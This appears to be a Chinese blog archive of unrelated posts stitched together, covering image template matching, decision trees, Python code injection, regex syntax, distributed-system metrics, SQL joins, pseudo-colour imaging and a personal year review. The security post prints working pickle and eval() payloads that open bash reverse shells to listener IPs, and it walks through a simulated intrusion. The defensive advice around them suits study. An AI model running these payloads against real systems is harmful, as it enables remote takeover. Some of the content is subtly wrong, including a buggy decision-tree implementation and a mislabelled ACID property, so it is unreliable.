图像匹配算法基于像素比较求和实现。

差分矩阵求和

通过计算两个图像矩阵数据之间的差异分析图像的相似性,然后设置阀值进行比较,公式如下:

1
差分矩阵 = 图像A矩阵数据 - 图像B矩阵数据

Python实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]
findpt = None
for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
comp_tz = img[now_h:now_h + fh, now_w: now_w + fw, :] - findimg
if np.sum(comp_tz) < 1:
findpt = now_w, now_h
if findpt is not None:
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (255, 0, 0))
return img

差分矩阵均值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]
findpt = None
for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
comp_tz = img[now_h:now_h + fh, now_w: now_w + fw, :] - findimg
if abs(np.mean(comp_tz)) < 20:
findpt = now_w, now_h
if findpt is not None:
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (255, 0, 0))
return img

欧氏距离匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]

minds = 1e8
mincb_h = 0
mincb_w = 0

for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
my_img = img[now_h:now_h + fh, now_w: now_w + fw, :]
my_findimg = findimg
myx = np.array(my_img)
myy = np.array(my_findimg)
dis = np.sqrt(np.sum((myx - myy) * (myx - myy)))
if dis < minds:
mincb_h = now_h
mincb_w = now_w
minds = dis
print mincb_h, mincb_w, minds

findpt = mincb_w, mincb_h
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (0, 0, 255))
return img

添加噪音

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

def add_noise(img):
"""
add_noise
:param img:
:return:
"""
count = 50000
for k in xrange(count):
xi = int(np.random.uniform(0, img.shape[1]))
xj = int(np.random.uniform(0, img.shape[0]))
img[xj, xi, 0] = 255 * np.random.rand()
img[xj, xi, 1] = 255 * np.random.rand()
img[xj, xi, 2] = 255 * np.random.rand()

原始图像
原始图像

待匹配图像

待匹配图像

加噪点匹配图像

加入噪点匹配图像

旋转加噪点匹配图像

旋转加噪点匹配图像

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
@author: abc
@file: euclidean_distance.py
@date: 2016-12-09
@desc: 欧式距离匹配
"""
__author__ = "abc"

import cv2
import numpy as np


def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]

minds = 1e8
mincb_h = 0
mincb_w = 0

for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
my_img = img[now_h:now_h + fh, now_w: now_w + fw, :]
my_findimg = findimg
dis = get_euclidean_distance(my_img, my_findimg)
if dis < minds:
mincb_h = now_h
mincb_w = now_w
minds = dis
print mincb_h, mincb_w, minds

findpt = mincb_w, mincb_h
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (0, 0, 255))
return img


def get_euclidean_distance(x, y):
"""
计算欧氏距离
:param x:
:param y:
:return:
"""
myx = np.array(x)
myy = np.array(y)
return np.sqrt(np.sum((myx - myy) * (myx - myy)))


def add_noise(img):
"""
add_noise
:param img:
:return:
"""
count = 50000
for k in xrange(count):
xi = int(np.random.uniform(0, img.shape[1]))
xj = int(np.random.uniform(0, img.shape[0]))
img[xj, xi, 0] = 255 * np.random.rand()
img[xj, xi, 1] = 255 * np.random.rand()
img[xj, xi, 2] = 255 * np.random.rand()


def handle_img(imgpath, imgpath1, imgpath2):
"""
handle_img
:param imgpath:
:param imgpath1:
:param imgpath2:
:return:
"""
myimg = cv2.imread(imgpath)
myimg1 = cv2.imread(imgpath1)
myimg2 = cv2.imread(imgpath2)

add_noise(myimg)

myimg = show_pic_location(myimg, myimg1)
myimg = show_pic_location(myimg, myimg2)

cv2.namedWindow('img')
cv2.imshow('img', myimg)
cv2.waitKey()
cv2.destroyAllWindows()


if __name__ == "__main__":
imgpath = "/home/abc/Projects/machine_learning/img/test_r45.png"
imgpath1 = "/home/abc/Projects/machine_learning/img/test_1.png"
imgpath2 = "/home/abc/Projects/machine_learning/img/test_2.png"
handle_img(imgpath, imgpath1, imgpath2)

简单解释: 为信息的期望值,计算公式如下。

$$ info(D) = -\sum_{i=1}^m p_i log_2(p_i) $$

信息增益 是指在划分数据集之前之后信息发生的变化。对信息按属性A划分后取得的熵。
$$ info_A(D) = \sum_{j=1}^v \frac{|D_j|}{|D|}info(D_j) $$

计算两者之间的变化就是信息增益。
$$ gain(A) = info(D) - info_A(D) $$

如下算法计算最大信息增益。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#! /data/sever/python/bin/python
# -*- coding:utf-8 -*-
"""
决策树算法
"""
from __future__ import division
import math
import operator
from collections import Counter

__author__ = 'xyz'


def calc_shannon_ent(data_set):
"""
计算香农熵
:param data_set:
:return:
"""
data_length = len(data_set)
label_counts = Counter([val[-1] for val in data_set])
pilog2pi = [val / data_length * math.log(val / data_length, 2) for val in label_counts.itervalues()]
return - reduce(
operator.add,
pilog2pi
) if pilog2pi else 0


def split_data_set(data_set, axis, value):
"""
分割数据集,筛选指定特征下的数据值的集合
:param data_set: 数据集合
:param axis: 第几列
:param value: 筛选的值
:return: 除去axis列的,并且axis列的值为value的的数据集合
"""
return [[v for i, v in enumerate(val) if i != axis] for val in data_set if val[axis] == value]


def choose_best_feature_to_split(data_set):
"""
选择最好的数据集划分方式
:param data_set: 数据集
:return: 划分方式最好是第几项
"""
base_ent = calc_shannon_ent(data_set)
# 定义最好的信息增益,信息增益最好的那项
best_info_gain, best_feature = 0.0, -1
for i in range(len(data_set[0]) - 1):
unique_value = set(data_set[i])
child_ent = 0.0
for val in unique_value:
child_data_set = split_data_set(data_set, i, val)
child_ent += (len(data_set) - 1) / len(data_set) * calc_shannon_ent(child_data_set)
# 信息增益
info_gain = base_ent - child_ent
if info_gain > best_info_gain:
best_info_gain = info_gain
best_feature = i
return best_feature


def majority_ent(class_list):
"""
取出出现次数最多的标签
:param class_list:
:return:
"""
class_count = Counter(class_list)
sorted_class_count = sorted(class_count.items(), key=lambda x, y: cmp(x[1], y[1]), reverse=True)
return sorted_class_count[0][0]


def create_tree(data_set, labels):
"""
创建树
:param data_set: 数据集
:param labels: 标签集合
:return: 决策树
"""
class_list = [val[-1] for val in data_set]
if class_list.count(class_list[0]) == len(class_list):
return class_list[0]
if len(data_set[0]) == 1:
return majority_ent(class_list)
best_feat = choose_best_feature_to_split(data_set)
best_feat_label = labels[best_feat]
my_tree = {best_feat_label: {}}
del labels[best_feat]
feat_values = [val[best_feat] for val in data_set]
unique_vals = set(feat_values)
for value in unique_vals:
sub_labels = labels[:]
my_tree[best_feat_label][value] = create_tree(split_data_set(data_set, best_feat, value), sub_labels)
return my_tree

if __name__ == "__main__":
data_set = [[1, 1, 'yes'], [1, 1, 'yes'], [1, 0, 'no'], [0, 1, 'no'], [0, 1, 'no']]
# 计算熵
print calc_shannon_ent(data_set)
# 分割数据集
print split_data_set(data_set, 0, 1)
# 获取最大信息增益项
print choose_best_feature_to_split(data_set)
# 生成决策树
print create_tree(data_set, ['no surfacing', 'flippers'])

ID3算法

ID3算法就是在每次需要分裂时,计算每个属性的增益率,然后选择增益率最大的属性进行分裂。

C4.5算法

定义分裂信息

$$ splitInfo_A(D) = - \sum_{j=1}^v \frac{|D_j|}{|D|} log_2(\frac{|D_j|}{|D|}) $$

定义增益率

$$ gain\_ratio(A) = \frac{gain(A)}{split\_info(A)} $$

C4.5选择具有最大增益率的属性作为分裂属性。
http://www.cnblogs.com/leoo2sk/archive/2010/09/19/decision-tree.html
决策树到底是干嘛用的,怎么去灵活运用决策树?

什么是代码注入

代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。

###Python中常见代码注入
能够执行一行任意字符串形式代码的eval()函数

1
>>> eval("__import__('os').system('uname -a')")

能够执行字符串形式代码块的exec()函数

1
>>> exec("__import__('os').system('uname -a')")

反序列化一个pickled对象时

1
>>> pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")

执行一个Python文件

1
>>> execfile("testf.py")

pickle.loads()代码注入
某不安全的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def load_session(self, session_id=None):
if not session_id:
session_id = self.gen_session_id()
session = Session(session_id, self)
else:
try:
data = self.backend.get(session_id)
if data:
data = pickle.loads(data)
assert type(data) == dict
else:
data = {}
except:
data = {}
session = Session(session_id, self, data)
return session

注入的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> import os
>>> import pickle
>>> class exp(object):
... def __reduce__(self):
... s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &\""
... return (os.system, (s,))
...
>>> e = exp()
>>> e
<__main__.exp object at 0x7f734afa8790>
>>> k = pickle.dumps(e)
'cposix\nsystem\np0\n(S\'/bin/bash -c "/bin/bash -i > \\\\/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &"\'\np1\ntp2\nRp3\n.'

>>> pickle.loads(k)
0
>>>
[3]+ Stopped python

这些函数使用不当都很危险

os.system
os.popen*
os.spawn*
os.exec*
os.open
os.popen*
commands.*
subprocess.popen
popen2.*

一次模拟的实践

通过这次实践发现系统中的诸多安全薄弱的环节,执行流程如下:

  1. nmap扫描IP nmap -v -A *.*.*.* -p 1-65535,通过nmap扫描后会发现公开的服务。
  2. 暴力破解登录名密码 test 123,弱口令登陆系统。这个地方的薄弱点在于开发过程中容易留下便于程序员测试后门或若口令。
  3. 成功登陆系统后寻找代码注入点,通过成功找到注入点后可执行代码注入通过反向shell连接服务器提权eval("__import__('os').system('/bin/bash -c \"/bin/bash -i > /dev/tcp/10.10.10.130/12345 0<&1 2>&1 &\"')")

todo 第三步在整个系统中发现了两个可进行代码注入的漏洞,第一个为pickl反序列化用户登录信息的时候没有做校验,这样当对应的存储介质(memcache、redis)没有开启登录认证并且暴漏在公网中很容易注入代码。第二个为在系统中一些配置直接使用eval函数执行配置中的Python代码进行注入。
todo 反向shell介绍

如何安全编码

  1. 严格控制输入,过滤所有危险模块,遇到非法字符直接返回。
  2. 使用ast.literal_eval()代替eval()
  3. 安全使用pickle

下面就着几个点来说一下:

eval()方法注释:

1
2
eval(source[, globals[, locals]]) -> value
Evaluate the source in the context of globals and locals. The source may be a string representing a Python expression or a code object as returned by compile(). The globals must be a dictionary and locals can be any mapping, defaulting to the current globals and locals. If only globals is given, locals defaults to it.

ast.literal_eval()方法注释:

1
Safely evaluate an expression node or a string containing a Python expression.  The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None.

使用ast.literal_eval()代替eval()对比:

1
2
3
4
5
6
7
ast.literal_eval("1+1")  # ValueError: malformed string
ast.literal_eval("[1, 2, 3]") # [1, 2, 3]
ast.literal_eval("{1: 1, 2: 2, 3: 3}") # {1: 1, 2: 2, 3: 3}
ast.literal_eval("__import__('os').system('uname -a')") # ValueError: malformed string
eval("__import__('os').system('uname -a')") # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {}, {}) # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {"__builtins__": {}}, {}) # NameError: name '__import__' is not defined

eval禁用全局或本地变量:

1
2
3
>>> global_a = "Hello Eval!"
>>> eval("global_a")
>>> eval("global_a", {}, {})

寻找eval的突破点

eval("[c for c in ().__class__.__bases__[0].__subclasses__()]", {'__builtins__':{}})

参考点:

1
2
3
4
5
6
7
8
9
(
lambda fc=(
lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]
):
fc("function")(
fc("code")(
0, 0, 0, 0, "KABOOM", (), (), (), "", "", 0, ""),
{})()
)()

安全使用pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
>>> import hmac
>>> import hashlib
>>> import pickle
>>> shared_key = '123456'
>>> class Exp(object):
... def __reduce__(self):
... s = "__import__('os').system('uname -a')"
... return (os.system, (s,))
...
>>> e = Exp()
>>> s = pickle.dumps(e)
>>> s
'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> k = hmac.new(shared_key, s, hashlib.sha1).hexdigest()
>>> k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> send_s = k + ' ' + s
>>> send_s
'20bc7b14ee6d2f8109c0fc0561df3db40203622d cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> recv_k, recv_s = send_s.split(' ', 1)
>>> recv_k, recv_s
('20bc7b14ee6d2f8109c0fc0561df3db40203622d', 'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.')
>>> new_k = hmac.new(shared_key, recv_s, hashlib.sha1).hexdigest()
>>> new_k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> diff_k = hmac.new(shared_key + "123456", recv_s, hashlib.sha1).hexdigest()
>>> diff_k
'381542893003a30d045c5c729713d2aa428128de'
>>>

如何提高安全编码意识?

参考资料

http://www.programcreek.com/python/example/5578/ast.literal_eval
https://segmentfault.com/a/1190000002783940
http://www.yunweipai.com/archives/6540.html
http://blog.csdn.net/chence19871/article/details/32718219
http://coolshell.cn/articles/8711.html
http://stackoverflow.com/questions/15197673/using-pythons-eval-vs-ast-literal-eval
https://www.cigital.com/blog/python-pickling/
https://github.com/greysign/pysec/blob/master/safeeval.py

附录

nmap扫描部分结果

What is nmap?
Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a “map” of the network.

-A: Enable OS detection, version detection, script scanning, and traceroute
-v: Increase verbosity level (use -vv or more for greater effect)
-p : Only scan specified ports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@bt:~# nmap -v -A *.*.*.* -p 1-65535 
Starting Nmap 6.25 ( http://nmap.org ) at 2016-07-26 13:30 EDT
......
Not shown: 65527 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn
1723/tcp open pptp Microsoft
8891/tcp open http nginx 1.4.4
9090/tcp closed zeus-admin
13228/tcp open http Microsoft IIS httpd 7.5
14580/tcp closed unknown
36666/tcp open unknown
64380/tcp open unknown
......
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 2.4.X (99%), Microsoft Windows 7 (95%), BlueArc embedded (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:microsoft:windows_7:::enterprise cpe:/h:bluearc:titan_2100
Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (99%), Microsoft Windows 7 Enterprise (95%), BlueArc Titan 2100 NAS device (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
......
NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 895.44 seconds
Raw packets sent: 262711 (11.560MB) | Rcvd: 55220 (2.209MB)

Links:
http://www.cyberciti.biz/networking/nmap-command-examples-tutorials/

反向Shell

http://os.51cto.com/art/201312/424378.htm

用来匹配和处理文本的字符串。 基本用途是查找和替换。一种不完备的程序设计语言。

锚点

^ 字符串开头,或多行模式中的行开头
\A 字符串的开始
$ 字符串结尾,或多行模式中的行尾
\Z 字符串结束
\b 字边界
\B 不是单词边界
\< 词的开头
\> 词尾

字符集

\c 控制字符
\s 任何一个空白字符([\f\n\r\t\v])
\S 任何一个非空白字符([^\f\n\r\t\v])
\d 任何一个数字字符
\D 任何一个非数字字符
\w 任何一个字母数字字符或下划线字符([a-zA-Z0-9_])
\W 任何一个非字母数字或非下划线字符([^a-zA-Z0-9_])
\x 十六进制数字
\O 八进制数

量词

+ 1 个或更多
* 0 个或更多
? 0 个或 1 个
{} 匹配指定个数
{3} 精确的 3 个
{3,} 3 个或更多
{3,5} 3,4,5

添加 ? 表示非贪婪模式,懒惰型匹配,匹配最小子集。

1
2
3
+?
*?
{n,}?

断言

?= 前瞻断言
?! 负前瞻
?<= 后向断言
?!= or ?<! 负面回顾
?> 一次性子表达式
?() 条件 [if then]
?()| 条件 [if then else]
?# 评论

转移

\ 转义后面的字符
\Q Begin literal sequence
\E End literal sequence

『转义』是一种处理正则表达式中具有特殊含义的字符的方式,而不是特殊字符。

常用元字符

^
[
.
$
{
*
(
\
+
)
|
?
<
>

特殊字符

\n 新行
\r 回车
\t 制表符
\v 垂直制表符
\f Form feed
\xxx 八进制字符 xxx
\xhh 十六进制字符 hh

组合范围

. 除换行符 (\n) 以外的任何字符
(a|b) a 或 b
(...)
(?:...) 被动(非捕获)组
[abc] 范围 a b c
[^abc] not (a or b or c)
[a-q] 从 a 到 q 的小写字母
[A-Q] 从 A 到 Q 的大写字母
[0-7] 从 0 到 7 的数字
\x 组/子模式编号『x』

范围包括在内。

例子

回溯引用

下面例子匹配 空格 字符 空格
原始图片
下面的例子使回溯引用
原始图片
解释回溯引用,\1用来获取(\w+)中的字符串。第一个匹配上的of\1引用,就变成表达式[ ]+(\w+)[ ]+of
其中\1代表模式里的第一个子表达式,\2就会代表着第二个子表达式,以此递推。

替换

原始图片

大小写转换测试工具不支持,待测试

向前查找、向后查找

必须要放到一个字表达式中,如下例子,根据:来匹配,但是不消费他。
(?=) 向前查找

原始图片

(?<=) 向后查找
原始图片

(?!) 负向前查找
(?<!) 负向后查找

嵌入条件

(?(brackreference)true-regex)其中?表明这是一个条件,括号里的brackreference是一个回溯引用,true-regex是一个只在backreference存在时才会被执行的子表达式。
原始图片

不区分大小写匹配

原始图片

字符区间匹配

原始图片

取非匹配

原始图片

匹配多个字符

原始图片

子表达式

原始图片

匹配四位数的年份

原始图片

嵌入查找、向后查找组合应用

原始图片

性能指标

  1. 吞度量
  2. 响应延迟 P95 P999
  3. 并发量

可用性指标

  1. 可提供的服务时间 / (可提供的服务时间 + 不可提供的服务时间)
  2. 请求成功次数 / 总请求次数

可扩展性指标

是否能实现水平扩展,通过增加服务器数量增加计算能力、存储容量等。

存储系统中有两种扩展方式:
Scale Out(也就是Scale horizontally)横向扩展,比如在原有系统中新增一台服务器。
Scale Up(也就是Scale vertically)纵向扩展,在原有机器上增加 CPU 、内存。

一致性指标

实现多副本之间一致性的能力。不同的应用场景对于数据一致性指标要求不同,需要根据场景做具体的评估。

水平拆分和垂直拆分

ACID

原子性(Atomicity)
一致性(Atomicity)
隔离性(Isolation)
持久性(Durability)

CAP(帽子理论)

一致性(Consistency)
可用性(Availability)
可靠性(Partition tolerance 分区容错性)

BASE

基本可用(Basically Available)
软状态(Soft State)
最终一致(Eventually Consistent)

分布式一致性协议

TX协议
XA协议

两阶段提交协议

三阶段提交协议

TCC

最终一致性模式

SQL连接可以分为内连接、外连接、交叉连接。

数据库数据:
book表
stu表

内连接

  • 等值连接:在连接条件中使用等于号(=)运算符比较被连接列的列值,其查询结果中列出被连接表中的所有列,包括其中的重复列。
  • 不等值连接:在连接条件使用除等于运算符以外的其它比较运算符比较被连接的列的列值。这些运算符包括>、>=、<=、<、!>、!<和<>。
  • 自然连接:在连接条件中使用等于(=)运算符比较被连接列的列值,但它使用选择列表指出查询结果集合中所包括的列,并删除连接表中的重复列。

内连接:内连接查询操作列出与连接条件匹配的数据行,它使用比较运算符比较被连接列的列值。
select * from book as a,stu as b where a.sutid = b.stuidselect * from book as a inner join stu as b on a.sutid = b.stuid

内连接可以使用上面两种方式,其中第二种方式的inner可以省略。

stu表

其连接结果如上图,是按照a.stuid = b.stuid进行连接。

外连接

  • 左联接:是以左表为基准,将a.stuid = b.stuid的数据进行连接,然后将左表没有的对应项显示,右表的列为NULL
    select * from book as a left join stu as b on a.sutid = b.stuid

stu表

  • 右连接:是以右表为基准,将a.stuid = b.stuid的数据进行连接,然以将右表没有的对应项显示,左表的列为NULL
    select * from book as a right join stu as b on a.sutid = b.stuid

stu表

  • 全连接:完整外部联接返回左表和右表中的所有行。当某行在另一个表中没有匹配行时,则另一个表的选择列表列包含空值。如果表之间有匹配行,则整个结果集行包含基表的数据值。
    select * from book as a full outer join stu as b on a.sutid = b.stuid

stu表

交叉连接

交叉连接:交叉联接返回左表中的所有行,左表中的每一行与右表中的所有行组合。交叉联接也称作笛卡尔积。
select * from book as a cross join stu as b order by a.id

stu表

伪彩色处理是指将灰度图像转换成彩色图象。因为人眼对于彩色的分辨能力远高于对灰度图像的分辨能力,所以将灰度图像转换成彩色可以提高人眼对图像细节的辨别能力。伪彩色并不能真实的反映图像像的彩色情况。

效果图:

强度分层法和灰度级-彩色变换法:
(1)强度分层法是伪彩色处理技术中最简单的一种。
在某个灰度级Li上设置一个平行于x-y平面的切割平面,切割平面下面的,即灰度级小于Li的像素分配给一种颜色,相应的切割平面上大于灰度级Li的像素分配给另一种颜色。这样切割结果可以分成两层的伪彩色。可以使用M个平面去切割,就会得到M个不同灰度级的区域,这样就是具有M种颜色的为彩色图像。这种方法虽然简单,但是视觉效果不理想。
(2)灰度级-彩色变换法可以将灰度图像变为具有多种颜色渐变的连续彩色图像。
主要就是将图像通过不同变换特性的红、绿、蓝3个变换器,然后将三个颜色通道的输出合成某种颜色。由于三种颜色变换的不同,使得不同大小灰度级可以合成不同的颜色。一组典型的变换传递函数如下图。

这里面需要注意的地方,代码只能是处理JPG格式的灰度图像,因为JPG图像的颜色深度是24位表示(R,G,B),每像素由3个字节表示即可,然而PNG图像的颜色深度是32位表示(R,G,B,A)。

下面的代码是测试代码,以处理24位深度的图像为例,同像素不同通道的颜色值要相同,组合表示出是具有一定灰度的颜色。在实际应用中需要修改下面的代码依据要处理的图像格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#region 伪彩色图像处理

/// <summary>
/// 伪彩色图像处理
/// 博客园-初行 http://www.cnblogs.com/zxlovenet
/// 日期:2014.2.14
/// </summary>
/// <param name="bmp">传入的灰度图像</param>
/// <param name="method">使用何种方法,false强度分层法,true灰度级-彩色变换法</param>
/// <param name="seg">强度分层中的分层数</param>
/// <returns>返回伪彩色图像</returns>
private Bitmap gcTrans(Bitmap bmp, bool method, byte seg)
{
if (bmp != null)
{
if (System.Drawing.Imaging.PixelFormat.Format24bppRgb == bmp.PixelFormat)
{
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
System.Drawing.Imaging.BitmapData bmpData = bmp.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite, bmp.PixelFormat);
IntPtr ptr = bmpData.Scan0;
int bytes = bmp.Width * bmp.Height * 3;
byte[] grayValues = new byte[bytes];
System.Runtime.InteropServices.Marshal.Copy(ptr, grayValues, 0, bytes);
bmp.UnlockBits(bmpData);

byte[] rgbValues = new byte[bytes];
//清零
Array.Clear(rgbValues, 0, bytes);
byte tempB;

if (method == false)
{
//强度分层法
for (int i = 0; i < bytes; i += 3)
{
byte ser = (byte)(256 / seg);
tempB = (byte)(grayValues[i] / ser);
//分配任意一种颜色
rgbValues[i + 1] = (byte)(tempB * ser);
rgbValues[i] = (byte)((seg - 1 - tempB) * ser);
rgbValues[i + 2] = 0;
}
}
else
{
//灰度级-彩色变换法
for (int i = 0; i < bytes; i += 3)
{
if (grayValues[i] < 64)
{
rgbValues[i + 2] = 0;
rgbValues[i + 1] = (byte)(4 * grayValues[i]);
rgbValues[i] = 255;
}
else if (grayValues[i] < 128)
{
rgbValues[i + 2] = 0;
rgbValues[i + 1] = 255;
rgbValues[i] = (byte)(-4 * grayValues[i] + 2 * 255);
}
else if (grayValues[i] < 192)
{
rgbValues[i + 2] = (byte)(4 * grayValues[i] - 2 * 255);
rgbValues[i + 1] = 255;
rgbValues[i] = 0;
}
else
{
rgbValues[i + 2] = 255;
rgbValues[i + 1] = (byte)(-4 * grayValues[i] + 4 * 255);
rgbValues[i] = 0;
}
}

}

bmp = new Bitmap(bmp.Width, bmp.Height, System.Drawing.Imaging.PixelFormat.Format24bppRgb);
bmpData = bmp.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite, bmp.PixelFormat);
ptr = bmpData.Scan0;

System.Runtime.InteropServices.Marshal.Copy(rgbValues, 0, ptr, bytes);
bmp.UnlockBits(bmpData);

return bmp;
}
else
{
return null;
}
}
else
{
return null;
}
}
#endregion

颜色映射:

颜色映射的方法需要做一个颜色映射表,不同灰度级都会有对应的颜色。这个跟强度分层法相似,可以分成不同的层次,对应的颜色可以根据实际情况做映射。
在实际应用中,热成像测温系统所产生的红外图像为黑白灰度级图像,灰度值动态范围不大,人眼很难从这些灰度级中获得丰富的信息。为了更直观地增强显示图像的层次,提高人眼分辨能力,对系统所摄取的图像进行伪彩色处理,从而达到图像增强的效果,使图像信息更加丰富。例如对受热物体所成的像进行伪彩色时,将灰度低的区域设置在蓝色附近(或蓝灰、黑等),而灰度级高的区域设置在红色附近(或棕红、白等),以方便人们对物体的观察。

下面几张图片是在实际应用中的情况(图片来源网络,侵删):


xmind文件

微弱的灯光驱散浓重的夜色,压低的歌声怕惊醒梦中人。

又是深夜,双手在键盘上飞舞,闪烁的光标不断向前推进,一行行的注释和代码呈现在屏幕上,对于我来说这便成为了一种习惯,喜欢在深夜学习编程,接触编程有两年半了,非睡眠状态下的大部分时间都贡献给了我手中这台笔记本电脑,现在被我的朋友称之为我的“媳妇”。哈哈,因为她对于我来说兴趣很浓,我从不迷恋游戏,只是偶尔玩玩,也很少购物,电影基本不看,只是偶尔听听歌,还是敲代码的时候。转眼这不又是要过年了,该来点总结了,看看都学了什么,有什么体会都要来写写的。

主要学习的语言是C#,两年半的时间大部分都是用C#在编程;当然对C++/Java也是比较熟悉的,给点代码也是能看懂什么意思的。对汇编语言也有所了解,目前正在学习中。
那下面就是要讲讲主攻技能.NET平台下的学习细节了:

  1. ASP.NET网站开发方面能做出个像模像样的网站,但是不能保证效率;熟悉三层架构,用的比较烂;对于难理解的HttpModule、HttpHandler有些了解。
  2. Winform方面百分之八十的控件能熟练使用,剩下的就是感觉不好用的了,这里的熟练使用是了解并使用过常用的属性、方法、事件。
  3. 再有就是关于多线程、网络编程、数字图像处理、单元测试等等升级技能也是用的比较不错,专门买过书学习过。

像一些附加技能的话如HTML/CSS用的还是比较不错的,至少能做出能拿得出手的网页去,各种效果咱不会写还不会“偷”吗,其实就是拷贝网上现有的呗。JS/jQuery这些吗,实话是没有怎么接触,也基本能写一点点的,都不好意思说了。不想走网站开发方面,感觉没有前途,也不好玩,就学了一年就止步了。

再有就是编程的基本功,像数据结构、操作系统、算法、数据库这些知识是学会六分左右,现在正在补习其余的四分,并且是努力的在夯实这方面欠缺的。至于软件工程的知识我觉得是先有所了解然后在工作中主键掌握并熟练运用。

最大的优点是对计算机软件技术充满了热情,乐死不疲的。各种好玩的新技术都想鼓捣一下,比如:Wifi共享、RamDisk、远程开机等等。

不足之处是不太爱说话,喜欢熬夜。

目前学习计划:

  • 数据结构+算法
  • Unity3D游戏开发

职业规划还木有想好,因为还未毕业,干嘛这么早就草率决定,等工作一两年之后再说呗,定居城市也是这样。但是目前来说不想一直走.NET发展路线,先打好基本功到时候好转行。

2014年,把前半年的时间用在刀刃上,学习的技能放在毕业找的工作方面。另外要努力学习英语,这个也是个大大的重点。